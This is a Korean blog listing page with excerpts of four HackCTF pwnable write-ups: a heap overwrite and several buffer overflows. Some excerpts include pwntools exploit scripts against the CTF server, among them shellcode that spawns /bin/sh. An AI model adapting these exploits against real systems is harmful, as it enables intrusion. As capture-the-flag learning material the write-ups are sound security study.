Pwnable/HackCTF

Pwnable/HackCTF

Beginner_Heap

64bit + Heap 영역 문제이다. Heap 영역은 Stack 영역과 다르게 메모리가 낮은 주소 → 높은 주소 로 자란다는 것을 기억하자. 우선 beginner_heap.bin 바이너리 파일을 분석해보자. main 함수부터 보자. 첫번째 fgets 로 입력받는 값은 v3 + 1 에 저장되고, 두번째 fgets 로 입력 받는 값은 v4 + 1 에 저장된다. 첫번째 입력에서 v3, v3 + 1, v4 를 NOP 로, v4 + 1 을 exit_got 로 입력해주면 될 것 같다. 메모리 구조를 살펴보자. —————————— High Address | v4 + 1 (8) | —————————— | v4 (16) | —————————— | v3 + 1 (8) | —————————— | v3 (16) |..

Pwnable/HackCTF

Simple_Overflow_ver_2

x86 바이너리인데 x64 바이너리로 착각해서 디컴파일하는데 개고생했다. Simple_Overflow 답게 보호기법이 아무것도 적용되어 있지 않다. 주소값이 달라지는 것을 보아하니 ASLR만이 존재한다. 코드를 봐보자. 코드 분석만 조금 고민하면 쉽게 exploit 코드를 짤 수 있다. 버퍼의 주소를 얻는 코드가 버퍼에 문자열을 입력받는 코드보다 아래에 있으므로 우선 버퍼의 주소를 얻어놓은 다음에 while 문을 한 cycle 돌려서 그 다음번 while 문에서 payload를 전달하면 될 것 같다. from pwn import * r = remote("ctf.j0n9hyun.xyz", 3006) #Get buffer address r.recvuntil("Data : ") r.sendline("AAAA"..

Pwnable/HackCTF

x64 Simple_size_BOF

간단한 BOF 문제이다. 이 바이너리에는 쉘을 실행하는 다른 symbol 함수들이 들어있지 않으므로 shellcode를 사용하면 될 것 같다. 또한 buf의 주소도 출력해주니 이것을 이용하면 될 것 같다. 보호기법을 분석해보니 NX bit 는 걸려있지 않지만 ASLR은 걸려있는 것 같다. 바로 payload를 작성하여 exploit 해보자. from pwn import * r = remote("ctf.j0n9hyun.xyz", 3005) r.recvline() r.recvuntil(": ") buf = int(r.recv(14), 16) payload = "\x90"*100 payload += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\..

Pwnable/HackCTF

x64 Buffer Overflow

x64 바이너리인 점을 제외하면 아주 간단한 BOF 문제이다. 64bit 체제에서는 포인터의 크기 및 레지스터들의 한칸이 8bytes 라는 점을 인지하고 있으면 된다. RET 부분을 callmeMaybe의 주소로 덮어주면 끝이다. from pwn import * r = remote("ctf.j0n9hyun.xyz", 3004) e = ELF("./64bof_basic") callMe = e.symbols['callMeMaybe'] payload = "\x90"*280 payload += p64(callMe) r.sendline(payload) r.interactive()

Lucvs
'Pwnable/HackCTF' 카테고리의 글 목록